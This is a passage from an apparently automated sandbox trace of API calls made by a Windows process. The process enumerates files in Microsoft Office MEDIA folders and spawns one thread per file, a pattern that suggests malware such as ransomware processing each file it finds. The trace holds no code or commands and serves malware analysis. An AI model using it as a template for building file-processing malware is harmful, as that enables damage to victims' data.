lpParameter=0x43184480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9bc [0209.194] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf17ef00, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf17ef00, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x142e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18250_.WMF", cAlternateFileName="")) returned 1 [0209.194] wcscmp (_String1="BD18250_.WMF", _String2=".") returned 1 [0209.194] wcscmp (_String1="BD18250_.WMF", _String2="..") returned 1 [0209.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43184520 [0209.194] wcscpy (in: _Dest=0x43184520, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0209.194] wcscat (in: _Dest=0x43184520, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0209.194] wcscat (in: _Dest=0x43184520, _Source="BD18250_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF" [0209.194] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43184520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe8c [0209.194] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc86500, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xefc86500, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18251_.WMF", cAlternateFileName="")) returned 1 [0209.195] wcscmp (_String1="BD18251_.WMF", _String2=".") returned 1 [0209.195] wcscmp (_String1="BD18251_.WMF", _String2="..") returned 1 [0209.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431845c0 [0209.195] wcscpy (in: _Dest=0x431845c0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0209.195] wcscat (in: _Dest=0x431845c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0209.195] wcscat (in: _Dest=0x431845c0, _Source="BD18251_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18251_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18251_.WMF" [0209.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431845c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x788 [0209.195] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8ec2300, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe8ec2300, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x756, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18252_.WMF", cAlternateFileName="")) returned 1 [0209.195] wcscmp (_String1="BD18252_.WMF", _String2=".") returned 1 [0209.195] wcscmp (_String1="BD18252_.WMF", _String2="..") returned 1 [0209.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431847c0 [0209.196] wcscpy (in: _Dest=0x431847c0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0209.196] wcscat (in: _Dest=0x431847c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0209.196] wcscat (in: _Dest=0x431847c0, _Source="BD18252_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18252_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18252_.WMF" [0209.196] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431847c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9ac [0209.196] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb803b00, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb803b00, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x6ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18253_.WMF", cAlternateFileName="")) returned 1 [0209.196] wcscmp (_String1="BD18253_.WMF", _String2=".") returned 1 [0209.196] wcscmp (_String1="BD18253_.WMF", _String2="..") returned 1 [0209.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43184860 [0209.196] wcscpy (in: _Dest=0x43184860, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0209.196] wcscat (in: _Dest=0x43184860, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0209.196] wcscat (in: _Dest=0x43184860, _Source="BD18253_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18253_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18253_.WMF" [0209.197] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43184860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x750 [0209.197] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bca4100, ftCreationTime.dwHighDateTime=0x1bddcab, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1bca4100, ftLastWriteTime.dwHighDateTime=0x1bddcab, nFileSizeHigh=0x0, nFileSizeLow=0x796, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18254_.WMF", cAlternateFileName="")) returned 1 [0209.197] wcscmp (_String1="BD18254_.WMF", _String2=".") returned 1 [0209.197] wcscmp (_String1="BD18254_.WMF", _String2="..") returned 1 [0209.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43184900 [0209.197] wcscpy (in: _Dest=0x43184900, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0209.197] wcscat (in: _Dest=0x43184900, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0209.197] wcscat (in: _Dest=0x43184900, _Source="BD18254_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18254_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18254_.WMF" [0209.197] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43184900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f8 [0209.198] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55feb900, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x55feb900, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18255_.WMF", cAlternateFileName="")) returned 1 [0209.198] wcscmp (_String1="BD18255_.WMF", _String2=".") returned 1 [0209.198] wcscmp (_String1="BD18255_.WMF", _String2="..") returned 1 [0209.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431849a0 [0209.198] wcscpy (in: _Dest=0x431849a0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0209.198] wcscat (in: _Dest=0x431849a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0209.198] wcscat (in: _Dest=0x431849a0, _Source="BD18255_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18255_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18255_.WMF" [0209.198] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431849a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa58 [0209.199] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7a21700, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd7a21700, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x8ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18256_.WMF", cAlternateFileName="")) returned 1 [0209.199] wcscmp (_String1="BD18256_.WMF", _String2=".") returned 1 [0209.199] wcscmp (_String1="BD18256_.WMF", _String2="..") returned 1 [0209.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43184a40 [0209.199] wcscpy (in: _Dest=0x43184a40, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0209.199] wcscat (in: _Dest=0x43184a40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0209.199] wcscat (in: _Dest=0x43184a40, _Source="BD18256_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18256_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18256_.WMF" [0209.199] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43184a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258c [0209.200] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd83b2900, ftCreationTime.dwHighDateTime=0x1bdfe4b, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd83b2900, ftLastWriteTime.dwHighDateTime=0x1bdfe4b, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18257_.WMF", cAlternateFileName="")) returned 1 [0209.200] wcscmp (_String1="BD18257_.WMF", _String2=".") returned 1 [0209.200] wcscmp (_String1="BD18257_.WMF", _String2="..") returned 1 [0209.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43184ae0 [0209.200] wcscpy (in: _Dest=0x43184ae0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0209.200] wcscat (in: _Dest=0x43184ae0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0209.200] wcscat (in: _Dest=0x43184ae0, _Source="BD18257_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18257_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18257_.WMF" [0209.200] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43184ae0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2574 [0209.201] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6154e300, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6154e300, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0xa30, dwReserved0=0x0, dwReserved1=0x0, cFileName="e81b63ac59a6.2f9b60", cAlternateFileName="E81B63~1.2F9")) returned 1 [0209.201] wcscmp (_String1="e81b63ac59a6.2f9b60", _String2=".") returned 1 [0209.201] wcscmp (_String1="e81b63ac59a6.2f9b60", _String2="..") returned 1 [0209.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd64c60 [0209.202] wcscpy (in: _Dest=0x1cd64c60, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0209.202] wcscat (in: _Dest=0x1cd64c60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0209.202] wcscat (in: _Dest=0x1cd64c60, _Source="e81b63ac59a6.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\e81b63ac59a6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\e81b63ac59a6.2f9b60" [0209.202] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ee0 [0209.202] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6154e300, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6154e300, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0xa30, dwReserved0=0x0, dwReserved1=0x0, cFileName="e81b63ac59a6.2f9b60", cAlternateFileName="E81B63~1.2F9")) returned 0 [0209.203] FindClose (in: hFindFile=0x1b859270 | out: hFindFile=0x1b859270) returned 1 [0209.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027ea20) returned 1 [0209.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e490) returned 1 [0209.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 Thread: id = 1369 os_tid = 0xe44 [0118.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85e910 [0118.507] wcscpy (in: _Dest=0x1b85e910, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0118.507] wcscat (in: _Dest=0x1b85e910, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0118.507] wcscat (in: _Dest=0x1b85e910, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*" [0118.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027ec90 [0118.507] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*", lpFindFileData=0x2027ec90 | out: lpFindFileData=0x2027ec90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b859210 [0118.509] wcscmp (_String1=".", _String2=".") returned 0 [0118.509] FindNextFileW (in: hFindFile=0x1b859210, lpFindFileData=0x2027ec90 | out: lpFindFileData=0x2027ec90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.510] wcscmp (_String1="..", _String2=".") returned 1 [0118.510] wcscmp (_String1="..", _String2="..") returned 0 [0118.510] FindNextFileW (in: hFindFile=0x1b859210, lpFindFileData=0x2027ec90 | out: lpFindFileData=0x2027ec90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x992c8400, ftCreationTime.dwHighDateTime=0x1bd5de4, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x992c8400, ftLastWriteTime.dwHighDateTime=0x1bd5de4, nFileSizeHigh=0x0, nFileSizeLow=0x967, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10253_.GIF", cAlternateFileName="")) returned 1 [0118.510] wcscmp (_String1="BD10253_.GIF", _String2=".") returned 1 [0118.510] wcscmp (_String1="BD10253_.GIF", _String2="..") returned 1 [0118.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7acf80 [0118.510] wcscpy (in: _Dest=0x1b7acf80, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0118.510] wcscat (in: _Dest=0x1b7acf80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0118.510] wcscat (in: _Dest=0x1b7acf80, _Source="BD10253_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF" [0151.238] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7acf80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f5c [0151.239] FindNextFileW (in: hFindFile=0x1b859210, lpFindFileData=0x2027ec90 | out: lpFindFileData=0x2027ec90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dec3400, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5dec3400, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10254_.GIF", cAlternateFileName="")) returned 1 [0151.239] wcscmp (_String1="BD10254_.GIF", _String2=".") returned 1 [0151.239] wcscmp (_String1="BD10254_.GIF", _String2="..") returned 1 [0151.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1cd0 [0151.239] wcscpy (in: _Dest=0x202b1cd0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0151.239] wcscat (in: _Dest=0x202b1cd0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0151.239] wcscat (in: _Dest=0x202b1cd0, _Source="BD10254_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF" [0151.239] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1cd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24a4 [0151.240] FindNextFileW (in: hFindFile=0x1b859210, lpFindFileData=0x2027ec90 | out: lpFindFileData=0x2027ec90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f1d6100, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f1d6100, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10255_.GIF", cAlternateFileName="")) returned 1 [0151.240] wcscmp (_String1="BD10255_.GIF", _String2=".") returned 1 [0151.240] wcscmp (_String1="BD10255_.GIF", _String2="..") returned 1 [0151.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b0150 [0151.240] wcscpy (in: _Dest=0x202b0150, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0151.240] wcscat (in: _Dest=0x202b0150, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0151.240] wcscat (in: _Dest=0x202b0150, _Source="BD10255_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF" [0151.241] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0150, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24a8 [0151.241] FindNextFileW (in: hFindFile=0x1b859210, lpFindFileData=0x2027ec90 | out: lpFindFileData=0x2027ec90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10b8b00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe10b8b00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x297, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10263_.GIF", cAlternateFileName="")) returned 1 [0151.242] wcscmp (_String1="BD10263_.GIF", _String2=".") returned 1 [0151.242] wcscmp (_String1="BD10263_.GIF", _String2="..") returned 1 [0151.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x205063b0 [0151.242] wcscpy (in: _Dest=0x205063b0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0151.242] wcscat (in: _Dest=0x205063b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0151.242] wcscat (in: _Dest=0x205063b0, 